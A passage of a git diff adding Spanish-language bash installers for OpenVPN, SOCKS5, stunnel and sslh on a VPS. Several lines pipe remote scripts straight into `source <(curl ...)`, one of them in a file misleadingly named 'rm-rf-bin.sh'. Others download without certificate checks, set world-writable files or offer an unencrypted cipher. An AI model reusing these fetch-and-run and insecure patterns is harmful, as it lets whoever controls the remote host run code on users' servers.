0; i < $1; i++ )); do + tput cuu1 && tput dl1 + done +} + +agrega_dns(){ + msg -ama " Escriba el HOST DNS que desea Agregar" + read -p " [NewDNS]: " SDNS + cat /etc/hosts|grep -v "$SDNS" > /etc/hosts.bak && mv -f /etc/hosts.bak /etc/hosts + if [[ -e /etc/opendns ]]; then + cat /etc/opendns > /tmp/opnbak + mv -f /tmp/opnbak /etc/opendns + echo "$SDNS" >> /etc/opendns + else + echo "$SDNS" > /etc/opendns + fi + [[ -z $NEWDNS ]] && NEWDNS="$SDNS" || NEWDNS="$NEWDNS $SDNS" + unset SDNS +} + +dns_fun(){ + case $1 in + 1) + if grep -q "127.0.0.53" "/etc/resolv.conf"; then + RESOLVCONF='/run/systemd/resolve/resolv.conf' + else + RESOLVCONF='/etc/resolv.conf' + fi + grep -v '#' $RESOLVCONF | grep 'nameserver' | grep -E -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | while read line; do + echo "push \"dhcp-option DNS $line\"" >> /etc/openvpn/server.conf + done;; + 2) #cloudflare + echo 'push "dhcp-option DNS 1.1.1.1"' >> /etc/openvpn/server.conf + echo 'push "dhcp-option DNS 1.0.0.1"' >> /etc/openvpn/server.conf;; + 3) #google + echo 'push "dhcp-option DNS 8.8.8.8"' >> /etc/openvpn/server.conf + echo 'push "dhcp-option DNS 8.8.4.4"' >> /etc/openvpn/server.conf;; + 4) #OpenDNS + echo 'push "dhcp-option DNS 208.67.222.222"' >> /etc/openvpn/server.conf + echo 'push "dhcp-option DNS 208.67.220.220"' >> /etc/openvpn/server.conf;; + 5) #Verisign + echo 'push "dhcp-option DNS 64.6.64.6"' >> /etc/openvpn/server.conf + echo 'push "dhcp-option DNS 64.6.65.6"' >> /etc/openvpn/server.conf;; + 6) #Quad9 + echo 'push "dhcp-option DNS 9.9.9.9"' >> /etc/openvpn/server.conf + echo 'push "dhcp-option DNS 149.112.112.112"' >> /etc/openvpn/server.conf;; + 7) #UncensoredDNS + echo 'push "dhcp-option DNS 91.239.100.100"' >> /etc/openvpn/server.conf + echo 'push "dhcp-option DNS 89.233.43.71"' >> /etc/openvpn/server.conf;; + esac +} + +meu_ip + + + + +instala_ovpn(){ + clear + msg -bar + print_center "INSTALADOR DE OPENVPN" + msg -bar + # OpenVPN setup and first user creation + msg -ama " Algunos ajustes son necesario para conf OpenVPN" + msg -bar + # Autodetect IP address and pre-fill for the user + IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) + if echo "$IP" | grep -qE '^(10\.|172\.1[6789]\.|172\.2[0-9]\.|172\.3[01]\.|192\.168)'; then + PUBLICIP=$(wget -qO- ipv4.icanhazip.com) + fi + msg -ama " Seleccione el protocolo de conexiones OpenVPN" + msg -bar + menu_func "UDP" "TCP" + msg -bar + while [[ -z $PROTOCOL ]]; do + msg -ne " opcion: " + read PROTOCOL + case $PROTOCOL in + 1) PROTOCOL=udp; del "6"; msg -nazu " PROTOCOLO: "; msg -verd "UDP";; + 2) PROTOCOL=tcp; del "6"; msg -nazu " PROTOCOLO: "; msg -verd "TCP";; + *) tput cuu1 && tput dl1; print_center -verm2 "selecciona una opcion entre 1 y 2"; sleep 2s; tput cuu1 && tput dl1; unset PROTOCOL;; + esac + done + msg -bar + print_center "Ingresa un puerto OpenVPN (Default 1194)" + msg -bar + while [[ -z $PORT ]]; do + msg -ne " Puerto: " + read PORT + if [[ -z $PORT ]]; then + PORT="1194" + elif [[ ! $PORT =~ $numero ]]; then + tput cuu1 && tput dl1 + print_center -verm2 "ingresa solo numeros" + sleep 2s + tput cuu1 && tput dl1 + unset PORT + fi + + [[ $(mportas|grep -w "${PORT}") ]] && { + tput cuu1 && tput dl1 + print_center -verm2 "Puerto en uso" + sleep 2s + tput cuu1 && tput dl1 + unset PORT + } + done + del "3" + msg -nazu " PUERTO: "; msg -verd "$PORT" + msg -bar + print_center "Seleccione DNS (default VPS)" + msg -bar + menu_func "DNS del Sistema" "Cloudflare" "Google" "OpenDNS" "Verisign" "Quad9" "UncensoredDNS" + msg -bar + while [[ -z $DNS ]]; do + msg -ne " opcion: " + read DNS + if [[ -z $DNS ]]; then + DNS="1" + elif [[ ! $DNS =~ $numero ]]; then + tput cuu1 && tput dl1 + print_center -verm2 "ingresa solo numeros" + sleep 2s + tput cuu1 && tput dl1 + unset DNS + elif [[ $DNS != @([1-7]) ]]; then + tput cuu1 && tput dl1 + print_center "solo numeros entre 1 y 7" + sleep 2s + tput cuu1 && tput dl1 + unset DNS + fi + done + case $DNS in + 1) P_DNS="DNS del Sistema";; + 2) P_DNS="Cloudflare";; + 3) P_DNS="Google";; + 4) P_DNS="OpenDNS";; + 5) P_DNS="Verisign";; + 6) P_DNS="Quad9";; + 7) P_DNS="UncensoredDNS";; + esac + del "11" + msg -nazu " DNS: "; msg -verd "$P_DNS" + msg -bar + print_center " Seleccione la codificacion para el canal de datos" + msg -bar + menu_func "AES-128-CBC" "AES-192-CBC" "AES-256-CBC" "CAMELLIA-128-CBC" "CAMELLIA-192-CBC" "CAMELLIA-256-CBC" "SEED-CBC" "NONE" + msg -bar + while [[ -z $CIPHER ]]; do + msg -ne " opcion: " + read CIPHER + if [[ -z $CIPHER ]]; then + CIPHER="1" + elif [[ ! $CIPHER =~ $numero ]]; then + tput cuu1 && tput dl1 + print_center -verm2 "ingresa solo numeros" + sleep 2s + tput cuu1 && tput dl1 + unset CIPHER + elif [[ $CIPHER != @([1-8]) ]]; then + tput cuu1 && tput dl1 + print_center "solo numeros entre 1 y 8" + sleep 2s + tput cuu1 && tput dl1 + unset CIPHER + fi + done + case $CIPHER in + 1) CIPHER="cipher AES-128-CBC";; + 2) CIPHER="cipher AES-192-CBC";; + 3) CIPHER="cipher AES-256-CBC";; + 4) CIPHER="cipher CAMELLIA-128-CBC";; + 5) CIPHER="cipher CAMELLIA-192-CBC";; + 6) CIPHER="cipher CAMELLIA-256-CBC";; + 7) CIPHER="cipher SEED-CBC";; + 8) CIPHER="cipher none";; + esac + del "12" + codi=$(echo $CIPHER|awk -F ' ' '{print $2}') + msg -nazu " CODIFICACION: "; msg -verd "$codi" + msg -bar + msg -ama " Estamos listos para configurar su servidor OpenVPN" + enter + if [[ "$OS" = 'debian' ]]; then + apt-get update + apt-get install openvpn iptables openssl ca-certificates -y + else + # + yum install epel-release -y + yum install openvpn iptables openssl ca-certificates -y + fi + # Get easy-rsa + EASYRSAURL='https://github.com/OpenVPN/easy-rsa/releases/download/v3.0.7/EasyRSA-3.0.7.tgz' + wget -O ~/easyrsa.tgz "$EASYRSAURL" 2>/dev/null || curl -Lo ~/easyrsa.tgz "$EASYRSAURL" + tar xzf ~/easyrsa.tgz -C ~/ + mv ~/EasyRSA-3.0.7/ /etc/openvpn/ + mv /etc/openvpn/EasyRSA-3.0.7/ /etc/openvpn/easy-rsa/ + chown -R root:root /etc/openvpn/easy-rsa/ + rm -f ~/easyrsa.tgz + cd /etc/openvpn/easy-rsa/ + # + ./easyrsa init-pki + ./easyrsa --batch build-ca nopass + ./easyrsa gen-dh + ./easyrsa build-server-full server nopass + EASYRSA_CRL_DAYS=3650 ./easyrsa gen-crl + # + cp pki/ca.crt pki/private/ca.key pki/dh.pem pki/issued/server.crt pki/private/server.key pki/crl.pem /etc/openvpn + # + chown nobody:$GROUPNAME /etc/openvpn/crl.pem + # + openvpn --genkey --secret /etc/openvpn/ta.key + # + echo "port $PORT +proto $PROTOCOL +dev tun +sndbuf 0 +rcvbuf 0 +ca ca.crt +cert server.crt +key server.key +dh dh.pem +auth SHA512 +tls-auth ta.key 0 +topology subnet +server 10.8.0.0 255.255.255.0 +ifconfig-pool-persist ipp.txt" > /etc/openvpn/server.conf + echo 'push "redirect-gateway def1 bypass-dhcp"' >> /etc/openvpn/server.conf + # DNS + + dns_fun "$DNS" + + echo "keepalive 10 120 +${CIPHER} +user nobody +group $GROUPNAME +persist-key +persist-tun +status openvpn-status.log +verb 3 +crl-verify crl.pem" >> /etc/openvpn/server.conf +updatedb +PLUGIN=$(locate openvpn-plugin-auth-pam.so | head -1) +[[ ! -z $(echo ${PLUGIN}) ]] && { +echo "client-to-client +client-cert-not-required +username-as-common-name +plugin $PLUGIN login" >> /etc/openvpn/server.conf +} + # + echo 'net.ipv4.ip_forward=1' > /etc/sysctl.d/30-openvpn-forward.conf + # + echo 1 > /proc/sys/net/ipv4/ip_forward + if pgrep firewalld; then + # + # + # + # + firewall-cmd --zone=public --add-port=$PORT/$PROTOCOL + firewall-cmd --zone=trusted --add-source=10.8.0.0/24 + firewall-cmd --permanent --zone=public --add-port=$PORT/$PROTOCOL + firewall-cmd --permanent --zone=trusted --add-source=10.8.0.0/24 + # + firewall-cmd --direct --add-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP + firewall-cmd --permanent --direct --add-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP + else + # + if [[ "$OS" = 'debian' && ! -e $RCLOCAL ]]; then + echo '#!/bin/sh -e +exit 0' > $RCLOCAL + fi + chmod +x $RCLOCAL + # + iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP + sed -i "1 a\iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP" $RCLOCAL + if iptables -L -n | grep -qE '^(REJECT|DROP)'; then + # + # + # + iptables -I INPUT -p $PROTOCOL --dport $PORT -j ACCEPT + iptables -I FORWARD -s 10.8.0.0/24 -j ACCEPT + iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT + sed -i "1 a\iptables -I INPUT -p $PROTOCOL --dport $PORT -j ACCEPT" $RCLOCAL + sed -i "1 a\iptables -I FORWARD -s 10.8.0.0/24 -j ACCEPT" $RCLOCAL + sed -i "1 a\iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT" $RCLOCAL + fi + fi + # + if sestatus 2>/dev/null | grep "Current mode" | grep -q "enforcing" && [[ "$PORT" != '1194' ]]; then + # + if ! hash semanage 2>/dev/null; then + yum install policycoreutils-python -y + fi + semanage port -a -t openvpn_port_t -p $PROTOCOL $PORT + fi + # + if [[ "$OS" = 'debian' ]]; then + # + if pgrep systemd-journal; then + systemctl restart openvpn@server.service + else + /etc/init.d/openvpn restart + fi + else + if pgrep systemd-journal; then + systemctl restart openvpn@server.service + systemctl enable openvpn@server.service + else + service openvpn restart + chkconfig openvpn on + fi + fi + # + if [[ "$PUBLICIP" != "" ]]; then + IP=$PUBLICIP + fi + # + echo "# OVPN_ACCESS_SERVER_PROFILE=ChumoGH_ADM +client +dev tun +proto $PROTOCOL +sndbuf 0 +rcvbuf 0 +remote $IP $PORT +resolv-retry infinite +nobind +persist-key +persist-tun +remote-cert-tls server +auth SHA512 +${CIPHER} +setenv opt block-outside-dns +key-direction 1 +verb 3 +auth-user-pass" > /etc/openvpn/client-common.txt +clear +msg -bar +print_center -verd "Configuracion Finalizada!" +msg -bar +print_center " Crear un usuario SSH para generar el (.ovpn)!" +enter +} + +edit_ovpn_host(){ + msg -ama " CONFIGURACION HOST DNS OPENVPN" + msg -bar + while [[ $DDNS != @(n|N) ]]; do + echo -ne "\033[1;33m" + read -p " Agregar host [S/N]: " -e -i n DDNS + [[ $DDNS = @(s|S|y|Y) ]] && agrega_dns + done + [[ ! -z $NEWDNS ]] && sed -i "/127.0.0.1[[:blank:]]\+localhost/a 127.0.0.1 $NEWDNS" /etc/hosts + msg -bar + msg -ama " Es Necesario el Reboot del Servidor Para" + msg -ama " Para que las configuraciones sean efectudas" + enter +} + +fun_openvpn(){ + [[ -e /etc/openvpn/server.conf ]] && { + unset OPENBAR + [[ $(mportas|grep -w "openvpn") ]] && OPENBAR="\033[1;32m [ONLINE]" || OPENBAR="\033[1;31m [OFFLINE]" + clear + msg -bar + echo -e "CONFIGURACION OPENVPN" + msg -bar + echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m➮\033[0;33m $(msg -verd 'INICIAR O PARAR OPENVPN') $OPENBAR" + echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m➮\033[0;33m EDITAR CONFIGURACION CLIENTE $(msg -ama "(MEDIANTE NANO)")" + echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m➮\033[0;33m EDITAR CONFIGURACION SERVIDOR $(msg -ama "(MEDIANTE NANO)")" + echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m➮\033[0;33m CAMBIAR HOST DE OPENVPN" + echo -e " \033[0;35m[\033[0;36m5\033[0;35m] \033[0;34m➮\033[0;33m $(msg -verm2 "DESINSTALAR OPENVPN")" + msg -bar + while [[ $xption != @([0-5]) ]]; do + echo -ne "\033[1;33m Opcion : " && read xption + tput cuu1 && tput dl1 + done + case $xption in + 5) + clear + msg -bar + echo -ne "\033[1;97m" + read -p "QUIERES DESINTALAR OPENVPN? [Y/N]: " -e REMOVE + msg -bar + if [[ "$REMOVE" = 'y' || "$REMOVE" = 'Y' ]]; then + PORT=$(grep '^port ' /etc/openvpn/server.conf | cut -d " " -f 2) + PROTOCOL=$(grep '^proto ' /etc/openvpn/server.conf | cut -d " " -f 2) + if pgrep firewalld; then + IP=$(firewall-cmd --direct --get-rules ipv4 nat POSTROUTING | grep '\-s 10.8.0.0/24 '"'"'!'"'"' -d 10.8.0.0/24 -j SNAT --to ' | cut -d " " -f 10) + # + firewall-cmd --zone=public --remove-port=$PORT/$PROTOCOL + firewall-cmd --zone=trusted --remove-source=10.8.0.0/24 + firewall-cmd --permanent --zone=public --remove-port=$PORT/$PROTOCOL + firewall-cmd --permanent --zone=trusted --remove-source=10.8.0.0/24 + firewall-cmd --direct --remove-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP + firewall-cmd --permanent --direct --remove-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP + else + IP=$(grep 'iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to ' $RCLOCAL | cut -d " " -f 14) + iptables -t nat -D POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP + sed -i '/iptables -t nat -A POSTROUTING -s 10.8.0.0\/24 ! -d 10.8.0.0\/24 -j SNAT --to /d' $RCLOCAL + if iptables -L -n | grep -qE '^ACCEPT'; then + iptables -D INPUT -p $PROTOCOL --dport $PORT -j ACCEPT + iptables -D FORWARD -s 10.8.0.0/24 -j ACCEPT + iptables -D FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT + sed -i "/iptables -I INPUT -p $PROTOCOL --dport $PORT -j ACCEPT/d" $RCLOCAL + sed -i "/iptables -I FORWARD -s 10.8.0.0\/24 -j ACCEPT/d" $RCLOCAL + sed -i "/iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT/d" $RCLOCAL + fi + fi + if sestatus 2>/dev/null | grep "Current mode" | grep -q "enforcing" && [[ "$PORT" != '1194' ]]; then + semanage port -d -t openvpn_port_t -p $PROTOCOL $PORT + fi + if [[ "$OS" = 'debian' ]]; then + apt-get remove --purge -y openvpn + else + yum remove openvpn -y + fi + rm -rf /etc/openvpn + rm -f /etc/sysctl.d/30-openvpn-forward.conf + clear + msg -bar + print_center -verd "OpenVPN removido!" + enter + else + clear + msg -bar + print_center -verm2 "Desinstalacion abortada!" + enter + fi + return 1;; + 2) + nano /etc/openvpn/client-common.txt;; + 3) + nano /etc/openvpn/server.conf;; + 4) + edit_ovpn_host;; + 1) + [[ $(mportas|grep -w openvpn) ]] && { + /etc/init.d/openvpn stop > /dev/null 2>&1 + killall openvpn &>/dev/null + systemctl stop openvpn@server.service &>/dev/null + service openvpn stop &>/dev/null + #ps x |grep openvpn |grep -v grep|awk '{print $1}' | while read pid; do kill -9 $pid; done + } || { + cd /etc/openvpn + screen -dmS ovpnscr openvpn --config "server.conf" > /dev/null 2>&1 + touch /etc/openvpn/openvpn-status.log & + cd $HOME + } + print_center "Procedimiento con Exito" + enter;; + 0) + return 1;; + esac + return 0 + } + [[ -e /etc/squid/squid.conf ]] && instala_ovpn && return 0 + [[ -e /etc/squid3/squid.conf ]] && instala_ovpn && return 0 + instala_ovpn || return 1 +} + +while [[ ! $rec = 1 ]]; do + fun_openvpn + rec="$?" + unset xption +done +exit \ No newline at end of file diff --git a/Recursos/test/rm-rf-bin.sh b/Recursos/test/rm-rf-bin.sh new file mode 100644 index 0000000..aca8946 --- /dev/null +++ b/Recursos/test/rm-rf-bin.sh @@ -0,0 +1,3 @@ +#by @drowkid01 + +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/trojango-sh/trojan.sh) "alx" \ No newline at end of file diff --git a/Recursos/test/socks5.sh b/Recursos/test/socks5.sh new file mode 100644 index 0000000..6212a0f --- /dev/null +++ b/Recursos/test/socks5.sh @@ -0,0 +1,132 @@ +#!/bin/bash +#19/12/2019 +msg () { +BRAN='\033[1;37m' && VERMELHO='\e[31m' && VERDE='\e[32m' && AMARELO='\e[33m' +AZUL='\e[34m' && MAGENTA='\e[35m' && MAG='\033[1;36m' &&NEGRITO='\e[1m' && SEMCOR='\e[0m' + case $1 in + -ne) cor="${VERMELHO}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -ama) cor="${AMARELO}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verm) cor="${AMARELO}${NEGRITO}[!] ${VERMELHO}" && echo -e "${cor}${2}${SEMCOR}";; + -azu) cor="${MAG}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verd) cor="${VERDE}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -bra) cor="${BRAN}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -bar2) cor="${AZUL}${NEGRITO}•••••••••••••••••••••••••••••••••••••••••••••••••" && echo -e "${cor}${SEMCOR}";; + -bar) cor="${VERMELHO}${NEGRITO}•••••••••••••••••••••••••••••••••••••••••••••••••" && echo -e "${cor}${SEMCOR}";; + esac +} + + +ip=$(wget -qO- ifconfig.me) +MYIP=$(wget -qO- ifconfig.me) + +function extras(){ +clear +if [[ $1 == "" ]] +then +figlet -p -f slant < /root/name | lolcat +echo -e "\033[1;37m 【 ★ Reseller :$(cat < /etc/adm-lite/menu_credito) - ADM 2021 ★ 】\033[0m" +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m #######################################\033[1;33m" +echo -e "\033[1;37mSeleccione una opcion: Para Salir Ctrl + C\033[1;33m +[\033[1;30m1\033[1;33m] SOCKS5 › \033[1;32m$xsocks5 \033[1;33m +[\033[1;30m2\033[1;33m] SOCKS5 (Sockd) › \033[1;32m$xsockd \033[1;33m +[\033[1;30m3\033[1;33m] SOCKS5 (Microsocks) › \033[1;32m$xmicro \033[1;33m +[\033[1;30m0\033[1;33m] < REGRESAR \033[1;33m" +read -p ": " opcao +else +opcao=$1 +fi +case $opcao in +1) +socks5;; +2) +socks5alter;; +3) +microsocks;; +0) +exit;; +esac +} + + + + +function microsocks (){ +killall microsocks +echo -e "Instalando Microsocks espere.." +cd /etc/adm-lite/ +rm -rf /etc/adm-lite/microsocks/ 1> /dev/null 2> /dev/null +git clone http://github.com/rofl0r/microsocks.git 1> /dev/null 2> /dev/null +cd /etc/adm-lite/microsocks/ +make 1> /dev/null 2> /dev/null +make install 1> /dev/null 2> /dev/null +cd /root +echo -e "⎇⇥ Escriba un nombre de usuario nuevo" +read -p ": " microuser +useradd --shell /usr/sbin/nologin $microuser +echo -e "⎇⇥ Asigna un password para la cuenta microsocks, repitelo dos veces" +passwd $microuser +echo -e "⎇⇥ Escribe el mismo password asignado nuevamente" +read -p ": " clavemicro +echo -e "⎇⇥ Escribe un puerto libre para Microsocks" +read -p ": " puertomicro +if lsof -Pi :$puertomicro -sTCP:LISTEN -t >/dev/null ; then +echo "Ya esta en uso ese puerto" +else +screen -dmS micro microsocks -1 -i 0.0.0.0 -p $puertomicro -u $microuser -P $clavemicro -b bindaddr +echo -e "╼╼╼╼⌁⌁⌁◅⌁▻⌁⌁⌁╾╾╾╾" +echo -e "⌬ Servidor Socks5 [ microsocks ] iniciado" +echo -e "⌁ IP : $MYIP" +echo -e "⌁ Puerto : $puertomicro" +echo -e "⌁ Usuario : $microuser" +echo -e "⌁ Password : $clavemicro" +fi +} +function socks5alter(){ +echo -e "Instalando Sockd espere..." +cd /etc/adm-lite/ 1> /dev/null 2> /dev/null +rm /etc/adm-lite/dante-1.4.1.tar.gz 1> /dev/null 2> /dev/null +wget --no-check-certificate https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/socks5-sh/dante-1.4.1.tar.gz 1> /dev/null 2> /dev/null +tar -zxvf dante-1.4.1.tar.gz 1> /dev/null 2> /dev/null +cd /etc/adm-lite/dante-1.4.1/ 1> /dev/null 2> /dev/null +mkdir /home/dante 1> /dev/null 2> /dev/null +./configure --prefix=/home/dante 1> /dev/null 2> /dev/null +make 1> /dev/null 2> /dev/null +make install 1> /dev/null 2> /dev/null +wget -O /home/dante/danted.conf https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/socks5-sh/danted.conf 1> /dev/null 2> /dev/null +echo -e "Escribe un puerto para Sockd" +read -p ": " sockcincox +if lsof -Pi :$sockcincox -sTCP:LISTEN -t >/dev/null ; then +echo "Ya esta en uso ese puerto" +else +sed -i '2i internal: 0.0.0.0 port = '"$sockcincox"'' /home/dante/danted.conf +sed -i '3i external: '"$MYIP"'' /home/dante/danted.conf +# +echo "Finalizando Instalacion" +screen -dmS sockdx /home/dante/sbin/sockd -f /home/dante/danted.conf +#¿ +menu +fi +} +function socks5(){ +echo -e "Instalando Socks5 espere..." +apt remove dante-server -y 1> /dev/null 2> /dev/null +apt purge dante-server -y 1> /dev/null 2> /dev/null +apt install dante-server -y 1> /dev/null 2> /dev/null +#rm /etc/danted.conf 1> /dev/null 2> /dev/null +#cp /etc/adm-lite/danted.conf /etc/danted.conf 1> /dev/null 2> /dev/null +echo -e "Escribe un puerto para Socks5" +read -p ": " sockcinco +if lsof -Pi :$sockcinco -sTCP:LISTEN -t >/dev/null ; then +echo "Ya esta en uso ese puerto" +else +sed -i '5i internal: 0.0.0.0 port = '"$sockcinco"'' /etc/danted.conf +sed -i '6i external: '"$ip"'' /etc/danted.conf +# +echo "Finalizando Instalacion" +systemctl restart danted +# +menu +fi +} + +extras \ No newline at end of file diff --git a/Recursos/test/ssl b/Recursos/test/ssl new file mode 100644 index 0000000..315ef0f --- /dev/null +++ b/Recursos/test/ssl @@ -0,0 +1,87 @@ +#/bin/bash +sshports=`netstat -tunlp | grep sshd | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssh.txt && echo | cat /tmp/ssh.txt | tr '\n' ' ' > /etc/adm-lite/sshports.txt && cat /etc/adm-lite/sshports.txt`; +fun_bar () { +comando[0]="$1" +comando[1]="$2" + ( +[[ -e $HOME/fim ]] && rm $HOME/fim +${comando[0]} -y > /dev/null 2>&1 +${comando[1]} -y > /dev/null 2>&1 +touch $HOME/fim + ) > /dev/null 2>&1 & +echo -ne "\033[1;33m [" +while true; do + for((i=0; i<18; i++)); do + echo -ne "\033[1;31m##" + sleep 0.1s + done + [[ -e $HOME/fim ]] && rm $HOME/fim && break + echo -e "\033[1;33m]" + sleep 1s + tput cuu1 + tput dl1 + echo -ne "\033[1;33m [" +done +echo -e "\033[1;33m]\033[1;31m -\033[1;32m 100%\033[1;37m" +} + +sleep 1 + +fun_bar 'apt-get update -y' 'yum update -y' +fun_bar 'apt-get install openssh-server -y' 'apt-get install curl -y' +fun_bar 'yum install openssh-server -y' 'apt-get install openssh-client -y' +fun_bar 'yum install openssh-client -y' 'apt-get install stunnel4 -y' +fun_bar 'yum install stunnel4 -y' +fun_bar 'apt-get install stunnel -y' 'yum install stunnel -y' +ip=$(curl https://api.ipify.org/) +echo -e "Paquetes Instalados" +sleep 1 +openssl genrsa 2048 > stunnel.key +openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt +sleep 1 +rm /etc/stunnel/stunnel.conf +clear +rm /etc/default/stunnel4 +clear +cat stunnel.crt stunnel.key > stunnel.pem +mv stunnel.pem /etc/stunnel/ +clear +sslports=`netstat -tunlp | grep stunnel4 | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssl.txt && echo | cat /tmp/ssl.txt | tr '\n' ' ' > /etc/adm-lite/sslports.txt && cat /etc/adm-lite/sslports.txt`; +cowsay -f stegosaurus "BIENVENIDO Y GRACIAS POR UTILIZAR CHUKK-SCRIPT "| lolcat +echo -e "${cor[1]}=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠" | lolcat +echo -e "${cor[2]}STUNNEL ACTIVO en Puertos: $sslports " | lolcat +echo -e "${cor[1]}=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠" | lolcat +echo -e "\033[1;31mESCRIBA EL PUERTO SSL A UTILIZAR" +read -p ": " port +clear +echo "client = no " >> /etc/stunnel/stunnel.conf +echo "[ssh] " >> /etc/stunnel/stunnel.conf +echo "cert = /etc/stunnel/stunnel.pem " >> /etc/stunnel/stunnel.conf +echo "accept = $port " >> /etc/stunnel/stunnel.conf +echo "connect = 127.0.0.1:$sshports" >> /etc/stunnel/stunnel.conf +sleep 1 +echo "ENABLED=1 " >> /etc/default/stunnel4 +echo "FILES="/etc/stunnel/*.conf" " >> /etc/default/stunnel4 +echo "OPTIONS="" " >> /etc/default/stunnel4 +echo "PPP_RESTART=0" >> /etc/default/stunnel4 +service stunnel4 restart +sslports=`netstat -tunlp | grep stunnel4 | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssl.txt && echo | cat /tmp/ssl.txt | tr '\n' ' ' > /etc/adm-lite/sslports.txt && cat /etc/adm-lite/sslports.txt`; +cowsay -f stegosaurus "GRACIAS POR UTILIZAR ⌐╦╦═─ ☆ ChuKK-SCRIPT "| lolcat +echo -e "${cor[1]}=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠" | lolcat +echo -e "${cor[2]}STUNNEL ACTIVO en Puertos:" $sslports " Escojido " $port | lolcat +echo -e "${cor[1]}=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠" | lolcat +echo -e "\033[1;34m #####################################################" +echo -e "\033[1;37m I N I C I A N D O - STUNNEL4 - SSL/TLS Custom Cert" +echo -e "\033[1;34m #####################################################" +sleep 1 +service ssh restart 1>/dev/null 2 /dev/null +service stunnel4 start 1>/dev/null 2 /dev/null +service stunnel4 restart 1>/dev/null 2 /dev/null +echo -e "\033[1;31m ***********REINICIADO...*************" +echo -e "\033[1;34m ###################################" +echo -e "\033[1;31mCONFIGURACION SSL ACEPTADA CON EXITO" +echo -e "\033[1;34m ###################################" +echo -e "SU IP HOST DEL SERVIDOR:\033[1;30m $ip" +echo -e "Reinicie su VPS (Opcional) - sudo reboot" +read -p " Presiona ENTER para continuar" +source menu diff --git a/Recursos/test/sslh-back3.sh b/Recursos/test/sslh-back3.sh new file mode 100644 index 0000000..e117e03 --- /dev/null +++ b/Recursos/test/sslh-back3.sh @@ -0,0 +1,226 @@ +#!/bin/bash +blanco='\033[38;5;231m' +amarillo='\033[38;5;228m' +azul='\033[38;5;14m' +morado='\033[38;5;147m' +rojo='\033[0;31m' +verde='\033[38;5;148m' +yellow='\033[0;33m' +rosa='\033[38;5;213m' +melon='\033[38;5;208m' +guinda='\033[38;5;161m' +cierre='\033[0m' +bar1="\e[1;30m◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚\e[0m" +bar2="\033[38;5;183m--------------------------------------------------------------------\033[0m" +#DIRECTORIOS +dir_bases="/etc/default" +dir_puertos="/etc/default/ports-sslh" +dir_conf="/etc/default/sslh" +dir_ports="/etc/default/sslh-ports" +dir_service="/etc/init.d/sslh" +dir_info="/etc/default/sslh-info" +#VARIABLES +arch_serv="/root/servicios.txts" +plantilla_service="--anyprot 127.0.0.1:000" +#DIRECTORIOS mkdir-touch +dir_base(){ +if [ -f $dir_ports ]; then + echo + else + touch $dir_ports + chmod 777 $dir_ports +fi +if [ -d $dir_bases/ports-sslh ]; then + echo + else + mkdir $dir_bases/ports-sslh +fi +if [ -f $dir_info ]; then + echo + else + touch $dir_info + chmod 777 $dir_info +fi +} +back_menu(){ + echo -e "$bar1" + read -p "$(echo -e "${morado}Enter Para Continuar${cierre}")" enter + source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/sslh-back3.sh) +} +t_port () { +t_node=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port_t; do +test1=$(echo $port_t | awk '{print $1}') && test2=$(echo $port_t | awk '{print $9}' | 